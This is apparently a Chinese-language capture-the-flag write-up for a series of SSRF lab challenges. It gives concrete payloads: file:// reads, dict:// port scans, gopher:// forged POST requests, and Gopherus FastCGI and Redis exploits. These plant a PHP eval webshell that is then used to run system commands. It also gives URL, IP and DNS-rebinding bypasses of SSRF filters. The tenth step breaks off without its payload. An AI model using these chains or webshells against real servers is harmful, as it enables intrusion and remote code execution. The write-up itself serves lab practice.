1.题目:尝试访问位于127.0.1的flag.php
2.输入:http://127.0.0.1/flag.php
第二题:伪协议读取文件
1.题目:尝试去读取一下web目录下的flag.php
2./var/www/html linux系统中的一个目录,用于存放静态网页文件
3.file:///var/www/html/flag.php
4.查看页面源代码
第三题:端口扫描
1.题目:端口范围是8000-9000
2.网页后面输入:?url=dict://127.0.0.1:8080(用http也可以)
3.抓包-->发送到Intruder-->Positions-->Payoads
3.选择端口范围
4.start attack-->等待扫描
5.输入:http://127.0.0.1:端口
第四题:POST请求
1.访问http://127.0.0.1/flag.php
2.找到key
<!-- Debug: key=cea3eccb6c3fede401562a93997d2d97-->
3.抓包并修改
删掉不必要的内容留这些并且host改成127.0.0.1:80
4.url在线编码
5.将%0A替换成%0d%0A(换行符)
6.最后加一个%0d%0A
7.再次编码
8.网址后面加gopher://127.0.0.1:80/_+POST请求包
第五题:上传文件
1.发现没有发送按钮,所以自己编一个<input type="submit" name="submit">
2.抓包和上题一样,只留几行
3.将汉字乱码删除,替换成新的两个汉字,让请求包长度正确可控
4.和上面一样,两次url编码然后输入gopher://127.0.0.1:80/_+POST请求包
第六题:FastCGI协议
1.写一句话木马:PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+
2.kali里面echo 木马
- echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php
- 在Gopherus数据包中打开终端
- python2 gopherus.py --exploit fastcgi
- /var/www/html/index.php
- echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+" | base64 -d > shell.php
3.将白的部分进行url编码
- 然后直接使用
4.访问shell.php有这个文件
5.caidao-->添加->网址 cmd
- 在根目录下-->flag
第七题:redis协议
和上题差不多
1.在Gopherus数据包中打开终端
- python2 gopherus.py --exploit redis
- PHPShell
- 因为我们本来就用这个路径所以直接回车
- <?php @eval($_GET[cmd]);?>
2.url编码粘贴进去转圈但是再输入shell.php没问题
3.ls shell.php?cmd=system('ls /');
4.cat shell.php?cmd=system('cat /flag_1d9b8ddfd9766ee8c6e68b2b7ca0f4fa');
第八题:URL Bypass
1.题目:url中必须包含http//notfound.com
2.输入:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
实际上还是我们的主机进行访问
第九题:数字IP Bypass
1.题目:这次ban掉了127以及172.不能使用点分十进制的ip了。但是又要访问127.0.1.该怎么办
2.所以我们用localhost/0x7F000001:?url=http://localhost/flag.php
第十题:302跳转 Bypass
1.题目:请求可能会跟随302跳转,尝试利用这个来绕过对ip的检测访
2.输入框输入
第十一题:DNS重绑定
1.概念:
在网页浏览过程中,用户在地址栏中输入包含域名的网址。浏览器通过DNS服务器将域名解析为IP地址,然后向对应的IP地址请求资源,最后展现给用户。而对于域名所有者,他可以设置域名所对应的IP地址。当用户第一次访问,解析域名获取一个IP地址;然后,域名持有者修改对应的IP地址;用户再次请求该域名,就会获取一个新的IP地址。对于浏览器来说,整个过程访问的都是同一域名,所以认为是安全的。(浏览器同源策略) 这就是DNS Rebinding攻击。
2.在这个网站:rbndr.us dns rebinding service
获取7f000001.7f000002.rbndr.us